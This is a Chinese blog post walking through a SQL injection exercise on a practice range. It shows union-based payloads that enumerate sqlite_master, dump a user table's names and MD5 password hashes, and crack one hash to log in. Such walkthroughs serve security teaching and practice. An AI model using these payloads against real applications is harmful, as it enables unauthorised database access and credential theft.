SQLite数据库注入漏洞的检测方法

发表时间: 2022-03-02 20:55

准备

打开靶场(以墨者学院为例)

判断注入点

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面异常

存在数字型注入漏洞

判断字段数

order by 1--》4 页面正常

order by 5 页面没内容

说明字段数为4,得到sql:

?id=1 union select 1,2,3,4

爆表

SQLite中有一张名为sqlite_master的系统表,专门记录曾经创建sql的语句,利用它就可以进行注入漏洞的实现

?id=1 union select 1,group_concat(name),3,4 from sqlite_master where type='table'

得到三张表:WSTMart_reg,sqlite_sequence,notice_sybase

sqlite_sequence是SQLite的系统表,所以排除

notice_sybase存放的是通告信息,故排除

因此得到WSTMart_reg表

爆字段名

通过如下sql获取字段名:

?id=1 union select 1,group_concat(sql),3,4 from sqlite_master where type='table' and name='WSTMart_reg'

于是获得字段:name、password

查询WSTMart_reg表信息

有了表名,字段名,接下来就可以查询数据了:

?id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg

得到一个用户名和两个密码:

name:mozhe

password-1:72e557eb8f90c3ab79429c04263c64f2

password-2:9bbe61374985c7b030553240be1a0cd6

md5解密

把两个密码拿去解密,得到:

password-1:undefined

password-2:152831

登录验证

把两个密码分别带入登录,只有第二个是正确的,成功获得key

本次注入成功